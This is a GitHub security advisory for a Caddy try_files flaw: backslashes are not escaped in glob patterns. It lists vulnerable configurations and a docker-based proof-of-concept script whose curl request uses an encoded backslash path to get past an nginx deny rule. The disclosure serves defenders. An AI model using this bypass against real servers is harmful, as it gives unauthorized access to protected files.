Skip to content

Caddy: Improper sanitization of glob characters in file matcher may lead to bypassing security protections

Moderate severity GitHub Reviewed Published Feb 23, 2026 in caddyserver/caddy • Updated Feb 27, 2026

Package

gomod github.com/caddyserver/caddy/v2 (Go)

Affected versions

< 2.11.0

Patched versions

2.11.1

Description

Summary

The path sanitization in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections.

Details

The try_files directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to index.html.

example.com {
	root * /srv
	encode
	try_files {path} /index.html
	file_server
}

try_files patterns are actually glob patterns and file matcher expands them. The {path} in the pattern is replaced with
the request path and then is expanded by fs.Glob. The request path is sanitized before being placed inside the pattern and the special chars are escaped . The following code is the sanitization part.

var globSafeRepl = strings.NewReplacer(
	"*", "\\*",
	"[", "\\[",
	"?", "\\?",
)

expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) {
    if runtime.GOOS == "windows" {
        return val, nil
    }
    switch v := val.(type) {
    case string:
        return globSafeRepl.Replace(v), nil
    case fmt.Stringer:
        return globSafeRepl.Replace(v.String()), nil
    }
    return val, nil
})

The problem here is that it does not escape backslashes. /something-\*/ can match a file named something-\-anything.txt, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.

The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that h\ello* matches hello world even though e is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows /documents/* to the internal network and its upstream is a Caddy server that uses try_files, the reverse proxy's protection can be bypassed by requesting the path /do%5ccuments/.

Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the try_files directive and the filtering route/handle must not be in a same block because try_files directive executes before route and handle directives.

For example the following config isn't vulnerable.

:80 {
    root * /srv

    route /documents/* {
        respond "Access denied" 403
    }

    try_files {path} /index.html
    file_server
}

But this one is vulnerable.

:80 {
    root * /srv

    route /documents/* {
        respond "Access denied" 403
    }

    route /* {
        try_files {path} /index.html
    }
    file_server
}

This config is also vulnerable because Header directives executes before try_files.

:80 {
    root * /srv 
    header /uploads/* {
        X-Content-Type-Options "nosniff"
        Content-Security-Policy "default-src 'none';"
    }
    try_files {path} /index.html
    file_server
}

PoC

Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed.

#!/bin/bash

mkdir secret
echo 'some content' > secret/secret.txt

cat > Caddyfile <<'EOF'
:80 {
    root * /srv

    try_files {path} /index.html
    file_server
}
EOF

cat > nginx.conf <<'EOF'
events {}

http {
    server {
        listen 80;
        
        location /secret {
            return 403;
        }

        location / {
            proxy_pass http://caddy;
            proxy_set_header Host $host;
        }
    }
}
EOF

cat > docker-compose.yml <<'EOF'
services:
  caddy:
    # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb
    image: caddy:latest
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
      - ./secret:/srv/secret:ro
  nginx:
    # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208
    image: nginx:latest
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
    ports:
      - "8000:80" 
EOF

docker compose up -d
curl 'localhost:8000/secre%5ct/secret.txt'

Impact

This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.

AI Usage

An LLM was used to polish this report.

References

@mholt mholt published to caddyserver/caddy Feb 23, 2026
Published by the National Vulnerability Database Feb 24, 2026
Published to the GitHub Advisory Database Feb 24, 2026
Reviewed Feb 24, 2026
Last updated Feb 27, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(27th percentile)

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

CVE ID

CVE-2026-27585

GHSA ID

GHSA-4xrr-hq4w-6vf4

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.